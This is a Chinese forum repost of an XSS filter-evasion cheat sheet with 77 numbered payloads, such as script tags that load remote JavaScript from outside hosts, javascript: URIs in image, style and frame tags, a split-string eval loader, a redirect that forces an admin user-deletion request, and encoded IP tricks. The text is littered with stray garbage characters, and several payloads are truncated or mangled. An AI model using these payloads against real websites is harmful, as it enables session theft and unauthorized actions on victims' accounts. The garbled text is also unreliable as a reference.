貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。4 j H. ~6 @4 }+ y; r
(1)普通的XSS JavaScript注入7 X# z7 n) z, @) ~$ M
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ o& d% ^$ Q y$ y" k3 N' Z9 K
(2)IMG标签XSS使用JavaScript命令( C3 E# a$ V/ e0 [+ d. c: B
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
8 W" a, e+ W9 z" |7 w @+ m(3)IMG标签无分号无引号
: r0 g7 p# h9 B- K8 A' G$ L* c7 b<IMG SRC=javascript:alert(‘XSS’)>: W+ H; f( [ A' |4 s% t9 D9 e: n
(4)IMG标签大小写不敏感$ X# A5 C, w2 y6 r
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
# b, W' y$ x& k(5)HTML编码(必须有分号)7 \5 I7 K: F) r
<IMG SRC=javascript:alert(“XSS”)>( r# @. z7 S/ _) S% W; @; m# K0 M/ h
(6)修正缺陷IMG标签1 q p' d M: q" R- q
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
5 k9 ?3 H5 a% a1 B$ K/ e" X2 Q4 c1 ^% B: v7 |
, [! q& y- E0 {9 \) z2 K f(7)formCharCode标签(计算器)
5 {9 t# w2 O2 r& y9 ~<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>5 b! X" R! g7 |0 U. W: I
(8)UTF-8的Unicode编码(计算器), `- r, x: U, S* ~
<IMG SRC=jav..省略..S')>! s+ g! \% [, a; h
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
: t% c! p2 @# }5 d: q<IMG SRC=jav..省略..S')>
; P# v+ N) Z7 } {(10)十六进制编码也是没有分号(计算器)
- B1 s+ X. J3 L0 Q/ G4 C3 t<IMG SRC=java..省略..XSS')>
B9 p5 Q, |# C) w(11)嵌入式标签,将Javascript分开
~3 X1 U9 f9 O2 n<IMG SRC=”jav ascript:alert(‘XSS’);”>/ ^# m( J. G8 w- @& V4 `" }
(12)嵌入式编码标签,将Javascript分开
1 M- l4 h0 R& g# F" D9 P<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 R2 G- D) B/ m( v/ e5 I7 k- o3 O(13)嵌入式换行符2 P- L( G+ n% \1 C$ o8 v
<IMG SRC=”jav ascript:alert(‘XSS’);”>
3 f0 A' w( s7 q& u0 W+ O1 a(14)嵌入式回车+ d; I$ y5 H- o! ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>
* a3 _# q( M6 s9 c) W! q(15)嵌入式多行注入JavaScript,这是XSS极端的例子% M% k8 V! h, c! A9 c
<IMG SRC=”javascript:alert(‘XSS‘)”>
) L$ k$ N* c: f" u& B& @(16)解决限制字符(要求同页面)
5 d9 S9 j. Q/ k5 A0 \( w<script>z=’document.’</script>8 c9 z: l1 j1 F! H" ^& A( [
<script>z=z+’write(“‘</script>9 B% W! Y' x( J
<script>z=z+’<script’</script>1 t0 K9 I- V0 y; G6 E
<script>z=z+’ src=ht’</script>. Z4 L$ O4 p9 U/ d' O+ W3 n
<script>z=z+’tp://ww’</script>* o5 p: E: r& a' F; \
<script>z=z+’w.shell’</script>4 I* J9 u% N3 |! @3 C5 d O$ N
<script>z=z+’.net/1.’</script>
( ^3 N0 ]& B' e+ |; E<script>z=z+’js></sc’</script>
9 ]& N5 N `0 F7 a+ l<script>z=z+’ript>”)’</script>
$ }2 Q% C9 j1 i* i6 n2 {<script>eval_r(z)</script>1 ]3 }+ N7 N2 `$ U4 v
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
) _5 N8 ^: _3 k rhttps://www.t00ls.net/viewthread ... table&tid=15267 2/6
9 d# R _/ }- x3 q* H5 Z S: l3 ?perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out+ j- A5 {/ Q9 U: W7 r# k- x
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用' ~* v) u8 S( L/ x: k; v
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out/ h6 |4 O; m. b, E. ]$ w u
(19)Spaces和meta前的IMG标签8 U6 t! f0 K5 H) z6 n
<IMG SRC=” javascript:alert(‘XSS’);”>1 G) D/ f+ k1 A% y6 Z" `
(20)Non-alpha-non-digit XSS
_2 I, e1 x+ C<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
9 d' F' X2 U$ M' A, i% u(21)Non-alpha-non-digit XSS to 2
+ k; }* A" B8 }<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
8 p8 F; D6 R0 t. e& q; a(22)Non-alpha-non-digit XSS to 3
# ^; U& @% A, X0 ?<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>& V! }. G2 Y' Z d F
(23)双开括号
. V' @& a5 h+ J/ V% I# f0 }' K) G<<SCRIPT>alert(“XSS”);//<</SCRIPT>- b: H- o5 a; w4 W
(24)无结束脚本标记(仅火狐等浏览器)' [7 p: M, {; [. m D
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
% H e' t& u7 c$ @ v- ^(25)无结束脚本标记2
/ r# V; ~" F, `% i% T<SCRIPT SRC=//3w.org/XSS/xss.js>
/ `; _- ^8 s3 a/ U4 e(26)半开的HTML/JavaScript XSS
: S {* c l; k& U) {) ]3 z8 n<IMG SRC=”javascript:alert(‘XSS’)”/ z% O) K7 }& |! m. y
(27)双开角括号: l/ ^: C, A, o+ p! a
<iframe src=http://3w.org/XSS.html <1 V' Q; a; n1 m/ D4 e! a
(28)无单引号 双引号 分号
2 Y" _- e% |) m<SCRIPT>a=/XSS/
( M. p5 g1 D9 l! Z/ Ealert(a.source)</SCRIPT>
* S: B; {! d' t: b" F/ \: E% x(29)换码过滤的JavaScript
: [$ ? G. B6 B$ F9 \. x\”;alert(‘XSS’);//0 x1 u0 Q* J# b L5 Z* X
(30)结束Title标签
7 f% `5 Q9 A- p) P1 i/ j</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>) H. `+ W- _4 G5 b' D5 X. s, S, A
(31)Input Image
' A) W8 @5 A+ U4 T. j, ~ @! H<INPUT SRC=”javascript:alert(‘XSS’);”>; ]5 I& A- k6 ~& y8 X5 g8 u3 T
(32)BODY Image) ]0 ^' j \4 I p* d8 s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>! d, X/ m- q) g
(33)BODY标签
% y. r, Z: _/ j: G! G<BODY(‘XSS’)>& S/ M" i+ ~' \7 {! Y8 f
(34)IMG Dynsrc
, v* o; L5 _8 L' u4 {. j& x<IMG DYNSRC=”javascript:alert(‘XSS’)”>
3 j; w, c0 E* y; k8 }7 i. m& F1 {(35)IMG Lowsrc2 z5 T" G" c1 {9 v: @
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
/ U! s" r9 r* ?- y" I5 c8 n/ t(36)BGSOUND
1 w7 y" i$ a: O* F/ @<BGSOUND SRC=”javascript:alert(‘XSS’);”>
4 Q7 u3 k1 @5 r' ]& V: N& K(37)STYLE sheet D5 |+ ?6 x4 \, z+ x
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>! z8 Q, M! J& \; _% o
(38)远程样式表0 {" |& n" a+ u, p0 j- o3 l* P$ r
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
; t) n) c* k5 P+ z: |8 y(39)List-style-image(列表式)
; j& j! t1 M; X<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS7 y% g0 f$ a% |
(40)IMG VBscript
! a* P9 x$ _: w% N: G7 Z) x1 j<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS; E0 k# ~/ f( k: s/ D( K1 p
(41)META链接url
" d$ O) u. e3 ]/ F/ {5 Y# g
' B6 F1 _7 ~' }
1 Z5 N$ _7 C) T<META HTTP-EQUIV=”refresh” CONTENT=”0;2 @3 e0 a) [3 p. _ [/ Y/ P
URL=http://;URL=javascript:alert(‘XSS’);”>
5 J+ G5 [4 m- m2 i& N- A(42)Iframe
. n% S2 Y- ]. A+ w3 H) Q3 q<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
" f5 A! Z( N+ I; t6 P4 g' J- ~(43)Frame
/ ]- X% M" q* D$ r4 w9 z% y<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board1 g0 y4 \) J* p, M4 `8 ]4 H
https://www.t00ls.net/viewthread ... table&tid=15267 3/6. `; n& b# {6 f3 F' E @ E% f
(44)Table1 n. l5 o. F& |2 M# c. v4 f0 x! w* p
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>2 i% `; Z: X! p H, D/ v& h m/ T5 h
(45)TD
$ y: l1 W! D# n, g/ @# o8 ^<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
( N/ E& ^: C" \7 C4 w! x(46)DIV background-image
?( ]1 K, J: a<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* G2 L0 H; }; N
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-$ u0 j5 ^ U0 u; G
8&13&12288&65279)* Z, o, \& I0 q- X% v
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- j% H+ B/ F6 d( x. b0 B7 v(48)DIV expression
4 i+ k; v8 {; X! i2 a7 K! i1 k( b<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
. {- k, m/ U/ X1 L5 i" ?( M; K(49)STYLE属性分拆表达. o- w; t' A6 X9 d6 \6 @& }
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>8 o6 _8 G8 |2 h- Y, L
(50)匿名STYLE(组成:开角号和一个字母开头)
T. \ K' a+ ^, Z" b$ L; S0 m! u<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>' t7 S; S/ U) X% k
(51)STYLE background-image
+ {2 F" T7 ]* D$ J& X; ?! }<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A) s( g) T7 {' P; q
CLASS=XSS></A>+ l- s" K% [ T2 Y7 C
(52)IMG STYLE方式' F8 Q0 ?( s2 @ U/ j" [
exppression(alert(“XSS”))’> P: {7 ~' J! j' ]5 y; Z
(53)STYLE background1 g5 i0 J) y; L- I5 G, a/ x* B6 h
<STYLE><STYLE
& V& A0 y- P& P) Y9 h! ~% Ltype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 \& ]* v, J+ t(54)BASE
6 `+ w9 `% n* t6 y# O, G$ n2 T. o7 [<BASE HREF=”javascript:alert(‘XSS’);//”>
' a& n% r; }$ y. e$ w0 u+ |(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS" v- T8 u, } r$ s
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>- j7 v8 X2 R% g* v* }+ o/ m5 X
(56)在flash中使用ActionScrpt可以混进你XSS的代码
. I8 ~8 Z5 y; a& A& m8 `4 U! ia=”get”;' i/ y, V) B( j% ?
b=”URL(\”";* G( _, m+ v" @0 T' i
c=”javascript:”;) e- F6 p- ~2 V5 k+ P r
d=”alert(‘XSS’);\”)”;
1 H7 A# m4 @* K7 ^eval_r(a+b+c+d);; p9 X+ r" y) r' V9 L
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上- k) F+ h2 a3 C9 h d
<HTML xmlns:xss>. p$ n% S$ G$ \3 {- x% m7 `
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>1 F, p# l4 j6 ~7 x% n) `8 r p
<xss:xss>XSS</xss:xss>
; B. S% G( X& s- S% j$ y</HTML>
0 |0 a: v5 D/ A5 g4 u% N6 Z(58)如果过滤了你的JS你可以在图片里添加JS代码来利用/ z2 U0 E9 i. u+ z/ ]
<SCRIPT SRC=””></SCRIPT>
2 }0 D1 S+ |8 t5 F(59)IMG嵌入式命令,可执行任意命令1 c4 {( Q7 n. z5 ]- P( u% W8 n# q
<IMG SRC=”http://www.XXX.com/a.php?a=b”>/ G$ r6 Q0 u. p" f ~" @+ q
(60)IMG嵌入式命令(a.jpg在同服务器)
8 u5 s W9 j1 J! f7 V9 Y+ QRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
3 n4 ]: e: l" d* g! k3 o& ](61)绕符号过滤
9 w4 T1 ^$ S. G1 _& r<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
6 f; y0 Y" g h# Z9 i(62)
7 W, `4 C6 r6 p3 I' Y2 X% p o( r<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
7 L2 G, Z+ O: a/ ^! l(63): g/ b9 G g# C+ F
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
9 _! \1 l; s; f(64)
" F( i5 Q: V, u5 X0 u2 F<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
/ u" h6 Y5 S3 h$ U9 }1 e(65)
& m4 Z) k! K# A5 \5 I N7 c) l<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
p9 X. D; T5 q c( ^, z) l(66)12-7-1 T00LS - Powered by Discuz! Board8 v8 n+ j; z& _* @
https://www.t00ls.net/viewthread ... table&tid=15267 4/6
! |# m. B& e) b* o. n4 ]8 @( `* H<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>+ P8 ]( l0 _! i! g
(67). w# n p; X: [, ^+ A( x4 ?0 A& ~
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>5 d) ~+ Q2 W" E$ r1 X1 Q( y, j, q
</SCRIPT>
% U4 s' Q; L- j! d8 Z5 ]; q(68)URL绕行( U% h) f' F+ }
<A HREF=”http://127.0.0.1/”>XSS</A>7 o- L; l& [4 l* L" H) R; b
(69)URL编码3 k. P/ ~9 r* G& f# d$ Z s, ?
<A HREF=”http://3w.org”>XSS</A>
. s1 A2 A9 i% W3 B7 s(70)IP十进制
; I) H" Z1 c- g1 Z! f; m3 R8 i$ x<A HREF=”http://3232235521″>XSS</A>6 {" A8 O7 `" h I, D/ V; ?
(71)IP十六进制( F; S ^+ k4 d- Y4 a
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
6 K" I# k2 ^* c7 W1 Z(72)IP八进制
/ y0 w: H: i" ? V3 e<A HREF=”http://0300.0250.0000.0001″>XSS</A>' B$ r% p3 u4 d" _; U, x
(73)混合编码
0 n& J7 E2 Z" d<A HREF=”h" v5 [- _& M4 O1 H' G- }' \
tt p://6 6.000146.0×7.147/”">XSS</A>: R2 ^) V6 v$ C" J4 Q
(74)节省[http:]5 d; I' S3 k6 K
<A HREF=”//www.google.com/”>XSS</A>( @( o2 J. A. I2 A
(75)节省[www]) d4 {2 k* x' B. D. q
<A HREF=”http://google.com/”>XSS</A>1 E; U# J* v% P) ^& ]. u0 I
(76)绝对点绝对DNS9 B0 B- z2 @% W# R
<A HREF=”http://www.google.com./”>XSS</A>; b3 e! Y7 C5 [' x" N3 x& _
(77)javascript链接. Y; n6 K& u8 l( k; x: K/ U
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>0 D/ G. w, P2 y2 x6 w5 [3 j
& m2 d+ K4 {$ A7 ~9 r, v2 g原文地址:http://fuzzexp.org/u/0day/?p=14' o/ i9 Q4 V0 s
# o: `; C) }; z) J- O; V8 ^/ n) o
|